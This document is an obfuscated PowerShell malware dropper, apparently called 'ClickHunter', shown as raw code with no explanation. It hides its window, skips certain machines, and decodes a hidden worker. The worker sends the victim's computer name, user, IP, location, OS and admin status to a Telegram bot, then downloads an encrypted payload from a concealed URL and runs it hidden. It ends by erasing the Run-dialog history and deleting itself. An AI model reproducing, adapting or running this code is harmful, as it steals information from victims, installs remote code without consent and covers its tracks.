<# #> $avpPNjKoEWG65 = (Get-Item -LiteralPath ('Env:'+('Com'+'puter'+'Name')) -ErrorAction SilentlyContinue).Value $EyYwl8SKksrGB = @(69,74,67,72) $uG5bcyTOGMqGc = -join ($EyYwl8SKksrGB | ForEach-Object { [char]($_ -bxor 6) }) if ($avpPNjKoEWG65 -and $avpPNjKoEWG65 -match $uG5bcyTOGMqGc) { return } $__hc = @' using System; using System.Runtime.InteropServices; public class __HideConsole { [DllImport("kernel32.dll")] public static extern IntPtr GetConsoleWindow(); [DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); } '@ if (-not ('__HideConsole' -as [type])) { try { Add-Type -TypeDefinition $__hc -ErrorAction Stop } catch {} } if ('__HideConsole' -as [type]) { $__hwnd = [__HideConsole]::GetConsoleWindow() if ($__hwnd -ne [IntPtr]::Zero) { [void][__HideConsole]::ShowWindow($__hwnd, 0) } } $d0bqXtrho8w = Get-Random -Minimum 0 -Maximum 80 Start-Sleep -Milliseconds $d0bqXtrho8w $ftCUTsBR4N1 = Join-Path $env:ProgramData $([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('LmNoXzg3ZGU5MmY4ZDZlMg=='))) if (Test-Path $ftCUTsBR4N1) { exit 0 } $__chB64 = 'JEVycm9yQWN0aW9uUHJlZmVyZW5jZSA9ICdTaWxlbnRseUNvbnRpbnVlJwpBZGQtVHlwZSAtQXNzZW1ibHlOYW1lIFN5c3RlbS5JTy5Db21wcmVzc2lvbgoKdHJ5IHsKICAgICRfX3RnVCA9ICc4OTg5NDc5OTI0OkFBRmhuenlHemJ5c05aaHhwaE1vVHd3NEExNHgxZ0U4cDU0JwogICAgJF9fdGdDID0gJy01NTI3NTQ5NDEwJwogICAgJF9faXAgPSAnJzsgJF9fZ2VvID0gJyc7ICRfX2lzcCA9ICcnOyAkX190eiA9ICcnCiAgICB0cnkgewogICAgICAgICRfX2cgPSBJbnZva2UtUmVzdE1ldGhvZCAtVXJpICdodHRwOi8vaXAtYXBpLmNvbS9qc29uLz9maWVsZHM9cXVlcnksY291bnRyeSxjaXR5LHJlZ2lvbk5hbWUsaXNwLHRpbWV6b25lJyAtVGltZW91dFNlYyA4CiAgICAgICAgaWYgKCRfX2cpIHsKICAgICAgICAgICAgJF9faXAgPSBbc3RyaW5nXSRfX2cucXVlcnkKICAgICAgICAgICAgJF9fZ2VvID0gKCgkX19nLmNpdHksICRfX2cucmVnaW9uTmFtZSwgJF9fZy5jb3VudHJ5KSB8IFdoZXJlLU9iamVjdCB7ICRfIH0pIC1qb2luICcsICcKICAgICAgICAgICAgJF9faXNwID0gW3N0cmluZ10kX19nLmlzcAogICAgICAgICAgICAkX190eiA9IFtzdHJpbmddJF9fZy50aW1lem9uZQogICAgICAgIH0KICAgIH0gY2F0Y2gge30KICAgIGlmICgtbm90ICRfX2lwKSB7CiAgICAgICAgdHJ5IHsgJF9faXAgPSBbc3RyaW5nXShJbnZva2UtUmVzdE1ldGhvZCAtVXJpICdodHRwczovL2FwaS5pcGlmeS5vcmcnIC1UaW1lb3V0U2VjIDUpIH0gY2F0Y2gge30KICAgIH0KICAgICRfX29zID0gJycKICAgIHRyeSB7CiAgICAgICAgJF9fdyA9IEdldC1DaW1JbnN0YW5jZSBXaW4zMl9PcGVyYXRpbmdTeXN0ZW0gLUVycm9yQWN0aW9uIFN0b3AKICAgICAgICAkX192ID0gR2V0LUl0ZW1Qcm9wZXJ0eSAnSEtMTTpcU09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3MgTlRcQ3VycmVudFZlcnNpb24nIC1FcnJvckFjdGlvbiBTaWxlbnRseUNvbnRpbnVlCiAgICAgICAgJF9fYmQgPSBpZiAoJF9fdikgeyBbc3RyaW5nXSRfX3YuRGlzcGxheVZlcnNpb24gfSBlbHNlIHsgW3N0cmluZ10kX193LlZlcnNpb24gfQogICAgICAgICRfX29zID0gKCgkX193LkNhcHRpb24sICRfX2JkKSB8IFdoZXJlLU9iamVjdCB7ICRfIH0pIC1qb2luICcgJwogICAgfSBjYXRjaCB7CiAgICAgICAgdHJ5IHsgJF9fb3MgPSBbU3lzdGVtLkVudmlyb25tZW50XTo6T1NWZXJzaW9uLlZlcnNpb25TdHJpbmcgfSBjYXRjaCB7fQogICAgfQogICAgJF9fYWRtID0gJGZhbHNlCiAgICB0cnkgewogICAgICAgICRfX2FkbSA9IChbU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NQcmluY2lwYWxdW1NlY3VyaXR5LlByaW5jaXBhbC5XaW5kb3dzSWRlbnRpdHldOjpHZXRDdXJyZW50KCkpLklzSW5Sb2xlKFtTZWN1cml0eS5QcmluY2lwYWwuV2luZG93c0J1aWx0SW5Sb2xlXTo6QWRtaW5pc3RyYXRvcikKICAgIH0gY2F0Y2gge30KICAgICRfX2FyY2ggPSAnJwogICAgdHJ5IHsgJF9fYXJjaCA9IFtzdHJpbmddW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5SdW50aW1lSW5mb3JtYXRpb25dOjpPU0FyY2hpdGVjdHVyZSB9IGNhdGNoIHt9CiAgICAkX19tc2cgPSBAKAogICAgICAgICdDbGlja0h1bnRlcicsCiAgICAgICAgJ0V2ZW50OiBsYXVuY2gnLAogICAgICAgICgnUEM6ICcgKyAkZW52OkNPTVBVVEVSTkFNRSksCiAgICAgICAgKCdVc2VyOiAnICsgJGVudjpVU0VSRE9NQUlOICsgJ1wnICsgJGVudjpVU0VSTkFNRSksCiAgICAgICAgKCdJUDogJyArICRfX2lwKSwKICAgICAgICAoJ0dlbzogJyArICRfX2dlbyksCiAgICAgICAgKCdJU1A6ICcgKyAkX19pc3ApLAogICAgICAgICgnVFo6ICcgKyAkX190eiksCiAgICAgICAgKCdPUzogJyArICRfX29zKSwKICAgICAgICAoJ0FyY2g6ICcgKyAkX19hcmNoKSwKICAgICAgICAoJ0FkbWluOiAnICsgJF9fYWRtKSwKICAgICAgICAoJ1RpbWU6ICcgKyAoR2V0LURhdGUgLUZvcm1hdCAneXl5eS1NTS1kZCBISDptbTpzcycpKQogICAgKSB8IFdoZXJlLU9iamVjdCB7ICRfIC1hbmQgKCRfIC1ub3RtYXRjaCAnOiAkJykgfSB8IEZvckVhY2gtT2JqZWN0IHsgW3N0cmluZ10kXyB9CiAgICAkX19ib2R5ID0gQHsgY2hhdF9pZCA9ICRfX3RnQzsgdGV4dCA9ICgkX19tc2cgLWpvaW4gW2NoYXJdMTApIH0KICAgIEludm9rZS1SZXN0TWV0aG9kIC1VcmkgKCdodHRwczovL2FwaS50ZWxlZ3JhbS5vcmcvYm90JyArICRfX3RnVCArICcvc2VuZE1lc3NhZ2UnKSAtTWV0aG9kIFBvc3QgLUJvZHkgJF9fYm9keSAtVGltZW91dFNlYyAxMgp9IGNhdGNoIHt9CmlmICgtbm90ICgnX19YNjIzOGNmNTJkNycgLWFzIFt0eXBlXSkpIHsKQWRkLVR5cGUgLVJlZmVyZW5jZWRBc3NlbWJsaWVzIFN5c3RlbS5JTy5Db21wcmVzc2lvbiBAJwp1c2luZyBTeXN0ZW07CnVzaW5nIFN5c3RlbS5JTzsKdXNpbmcgU3lzdGVtLklPLkNvbXByZXNzaW9uOwp1c2luZyBTeXN0ZW0uVGV4dDsKcHVibGljIHN0YXRpYyBjbGFzcyBfX1g2MjM4Y2Y1MmQ3IHsKICBzdGF0aWMgaW50IFJlYWRJbnQoYnl0ZVtdIGIsIGludCBvKSB7CiAgICByZXR1cm4gKChiW29dICYgMHhGRikgPDwgMjQpIHwgKChiW28gKyAxXSAmIDB4RkYpIDw8IDE2KSB8ICgoYltvICsgMl0gJiAweEZGKSA8PCA4KSB8IChiW28gKyAzXSAmIDB4RkYpOwogIH0KICBzdGF0aWMgc3RyaW5nIERlY3J5cHRCbG9iKGJ5dGVbXSBibG9iKSB7CiAgICBieXRlW10gbWFnaWMgPSBuZXcgYnl0ZVtdIHsgMTk4LDE0NCwyMTEsOTIgfTsKICAgIGZvciAoaW50IGkgPSAwOyBpIDwgbWFnaWMuTGVuZ3RoOyBpKyspIGlmIChibG9iW2ldICE9IG1hZ2ljW2ldKSB0aHJvdyBuZXcgRXhjZXB0aW9uKCJiYWQgYmxvYiIpOwogICAgaW50IGtleUxlbiA9IChibG9iWzRdIDw8IDgpIHwgYmxvYls1XTsKICAgIGludCBvID0gNjsKICAgIHZhciBrZXkgPSBuZXcgYnl0ZVtrZXlMZW5dOwogICAgQnVmZmVyLkJsb2NrQ29weShibG9iLCBvLCBrZXksIDAsIGtleUxlbik7IG8gKz0ga2V5TGVuOwogICAgaW50IGRhdGFMZW4gPSBSZWFkSW50KGJsb2IsIG8pOyBvICs9IDQ7CiAgICB2YXIgZW5jID0gbmV3IGJ5dGVbZGF0YUxlbl07CiAgICBCdWZmZXIuQmxvY2tDb3B5KGJsb2IsIG8sIGVuYywgMCwgZGF0YUxlbik7CiAgICBmb3IgKGludCBpID0gMDsgaSA8IGRhdGFMZW47IGkrKykgZW5jW2ldIF49IGtleVtpICUga2V5TGVuXTsKICAgIHVzaW5nICh2YXIgY21zID0gbmV3IE1lbW9yeVN0cmVhbShlbmMpKQogICAgdXNpbmcgKHZhciBneiA9IG5ldyBHWmlwU3RyZWFtKGNtcywgQ29tcHJlc3Npb25Nb2RlLkRlY29tcHJlc3MpKQogICAgdXNpbmcgKHZhciBzciA9IG5ldyBTdHJlYW1SZWFkZXIoZ3osIEVuY29kaW5nLlVURjgpKSB7CiAgICAgIHJldHVybiBzci5SZWFkVG9FbmQoKTsKICAgIH0KICB9CiAgc3RhdGljIGJ5dGVbXSBGaW5kVXVpZFBheWxvYWQoYnl0ZVtdIGRhdGEsIGJ5dGVbXSBpZCkgewogICAgaW50IGkgPSAwOwogICAgd2hpbGUgKGkgKyA4IDw9IGRhdGEuTGVuZ3RoKSB7CiAgICAgIGludCBzaXplID0gUmVhZEludChkYXRhLCBpKTsKICAgICAgaWYgKHNpemUgPCAyNCB8fCBpICsgc2l6ZSA+IGRhdGEuTGVuZ3RoKSB7IGkrKzsgY29udGludWU7IH0KICAgICAgaWYgKGRhdGFbaSArIDRdID09IChieXRlKSd1JyAmJiBkYXRhW2kgKyA1XSA9PSAoYnl0ZSkndScgJiYgZGF0YVtpICsgNl0gPT0gKGJ5dGUpJ2knICYmIGRhdGFbaSArIDddID09IChieXRlKSdkJykgewogICAgICAgIGJvb2wgb2sgPSB0cnVlOwogICAgICAgIGZvciAoaW50IGogPSAwOyBqIDwgMTY7IGorKykgaWYgKGRhdGFbaSArIDggKyBqXSAhPSBpZFtqXSkgeyBvayA9IGZhbHNlOyBicmVhazsgfQogICAgICAgIGlmIChvaykgewogICAgICAgICAgdmFyIHBheWxvYWQgPSBuZXcgYnl0ZVtzaXplIC0gMjRdOwogICAgICAgICAgQnVmZmVyLkJsb2NrQ29weShkYXRhLCBpICsgMjQsIHBheWxvYWQsIDAsIHBheWxvYWQuTGVuZ3RoKTsKICAgICAgICAgIHJldHVybiBwYXlsb2FkOwogICAgICAgIH0KICAgICAgfQogICAgICBpZiAoc2l6ZSA8IDgpIHsgaSsrOyBjb250aW51ZTsgfQogICAgICBpICs9IHNpemU7CiAgICB9CiAgICB0aHJvdyBuZXcgRXhjZXB0aW9uKCJ1dWlkIGJveCBtaXNzaW5nIik7CiAgfQogIHB1YmxpYyBzdGF0aWMgc3RyaW5nIEZyb21DYXJyaWVyKGJ5dGVbXSByYXcsIHN0cmluZyBrZXksIGJ5dGVbXSB1dWlkSWQpIHsKICAgIGlmICh1dWlkSWQgIT0gbnVsbCAmJiB1dWlkSWQuTGVuZ3RoID09IDE2KSB7CiAgICAgIHJldHVybiBEZWNyeXB0QmxvYihGaW5kVXVpZFBheWxvYWQocmF3LCB1dWlkSWQpKTsKICAgIH0KICAgIHRocm93IG5ldyBFeGNlcHRpb24oImJhZCBjYXJyaWVyIik7CiAgfQp9CidAIC1FcnJvckFjdGlvbiBTdG9wCn0KJF9fY2hVdWlkID0gW2J5dGVbXV0oMTExLDY5LDE1NywyNDMsMTI3LDIyNSw2NCwyNywxNjMsMTc2LDM4LDU4LDE5OSw5OSwxNTEsMjM1KQokX191cmwgPSAkKFtUZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoW0NvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCdkWE5sY21Ob1pXTnJjMlZqZFhKcGRIa3VZMjl0TDI1bGQyUnZiV0ZwYmk1dGNEUT0nKSkpCgp0cnkgeyBbTmV0LlNlcnZpY2VQb2ludE1hbmFnZXJdOjpTZWN1cml0eVByb3RvY29sID0gW05ldC5TZWN1cml0eVByb3RvY29sVHlwZV06OlRsczEyIH0gY2F0Y2gge30KJF9fcmF3Qnl0ZXMgPSAkbnVsbAp0cnkgewogICAgJF9fZGwgPSBbTmV0Lkh0dHAuSHR0cENsaWVudF06Om5ldygpCiAgICAkX19kbC5UaW1lb3V0ID0gW1RpbWVTcGFuXTo6RnJvbVNlY29uZHMoMTIwKQogICAgJF9fcmF3Qnl0ZXMgPSAkX19kbC5HZXRCeXRlQXJyYXlBc3luYygkX191cmwpLkdldEF3YWl0ZXIoKS5HZXRSZXN1bHQoKQogICAgJF9fZGwuRGlzcG9zZSgpCn0gY2F0Y2gge30KaWYgKC1ub3QgJF9fcmF3Qnl0ZXMgLW9yICRfX3Jhd0J5dGVzLkxlbmd0aCAtbHQgNjQpIHsKICAgIHRyeSB7CiAgICAgICAgJF9fd2MgPSBOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQKICAgICAgICAkX193Yy5IZWFkZXJzLkFkZCgnVXNlci1BZ2VudCcsICdNb3ppbGxhLzUuMCAoV2luZG93cyBOVCAxMC4wOyBXaW42NDsgeDY0KScpCiAgICAgICAgJF9fcmF3Qnl0ZXMgPSAkX193Yy5Eb3dubG9hZERhdGEoJF9fdXJsKQogICAgfSBjYXRjaCB7fQp9CgppZiAoLW5vdCAkX19yYXdCeXRlcyAtb3IgJF9fcmF3Qnl0ZXMuTGVuZ3RoIC1sdCA2NCkgewogICAgdHJ5IHsKICAgICAgICAkX19yZXNwID0gJigkKFtUZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoW0NvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCdTVzUyYjJ0bExWZGxZbEpsY1hWbGMzUT0nKSkpKSAtVXJpICRfX3VybCAtVXNlQmFzaWNQYXJzaW5nIC1UaW1lb3V0U2VjIDEyMAogICAgICAgIGlmICgkX19yZXNwIC1hbmQgJF9fcmVzcC5SYXdDb250ZW50U3RyZWFtKSB7CiAgICAgICAgICAgICRfX3Jhd0J5dGVzID0gJF9fcmVzcC5SYXdDb250ZW50U3RyZWFtLlRvQXJyYXkoKQogICAgICAgIH0KICAgIH0gY2F0Y2gge30KfQppZiAoLW5vdCAkX19yYXdCeXRlcyAtb3IgJF9fcmF3Qnl0ZXMuTGVuZ3RoIC1sdCA2NCkgeyBleGl0IDEgfQoKJF9fcGF5bG9hZCA9IFtfX1g2MjM4Y2Y1MmQ3XTo6RnJvbUNhcnJpZXIoJF9fcmF3Qnl0ZXMsICJkYXRhIiwgJF9fY2hVdWlkKQokX19jaFBzMSA9IEpvaW4tUGF0aCAkZW52OlRFTVAgKFtndWlkXTo6TmV3R3VpZCgpLlRvU3RyaW5nKCdOJykgKyAnLnBzMScpCltJTy5GaWxlXTo6V3JpdGVBbGxUZXh0KCRfX2NoUHMxLCAkX19wYXlsb2FkLCAoTmV3LU9iamVjdCBTeXN0ZW0uVGV4dC5VVEY4RW5jb2RpbmcgJGZhbHNlKSkKU3RhcnQtUHJvY2VzcyAtRmlsZVBhdGggJ3Bvd2Vyc2hlbGwuZXhlJyAtQXJndW1lbnRMaXN0IEAoJy1Ob1Byb2ZpbGUnLCctRXhlY3V0aW9uUG9saWN5JywnQnlwYXNzJywnLVdpbmRvd1N0eWxlJywnSGlkZGVuJywnLUZpbGUnLCRfX2NoUHMxKSAtV2luZG93U3R5bGUgSGlkZGVuIC1XYWl0CnRyeSB7IFJlbW92ZS1JdGVtIC1MaXRlcmFsUGF0aCAkX19jaFBzMSAtRm9yY2UgLUVycm9yQWN0aW9uIFNpbGVudGx5Q29udGludWUgfSBjYXRjaCB7fQp0cnkgewogICAgJHJ1bk1ydVBhdGggPSAnSEtDVTpcU29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cRXhwbG9yZXJcUnVuTVJVJwogICAgaWYgKFRlc3QtUGF0aCAkcnVuTXJ1UGF0aCkgewogICAgICAgIFJlbW92ZS1JdGVtUHJvcGVydHkgLVBhdGggJHJ1bk1ydVBhdGggLU5hbWUgKiAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQogICAgfQp9IGNhdGNoIHt9CnRyeSB7IFJlbW92ZS1JdGVtIC1MaXRlcmFsUGF0aCAkUFNDb21tYW5kUGF0aCAtRm9yY2UgLUVycm9yQWN0aW9uIFNpbGVudGx5Q29udGludWUgfSBjYXRjaCB7fQpleGl0Cg==' $__chWorker = [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($__chB64)) $__chPath = Join-Path $env:TEMP ([guid]::NewGuid().ToString('N') + '.ps1') [IO.File]::WriteAllText($__chPath, $__chWorker, (New-Object System.Text.UTF8Encoding $false)) Start-Process -FilePath 'powershell.exe' -ArgumentList @('-NoProfile','-ExecutionPolicy','Bypass','-WindowStyle','Hidden','-File',$__chPath) -WindowStyle Hidden exit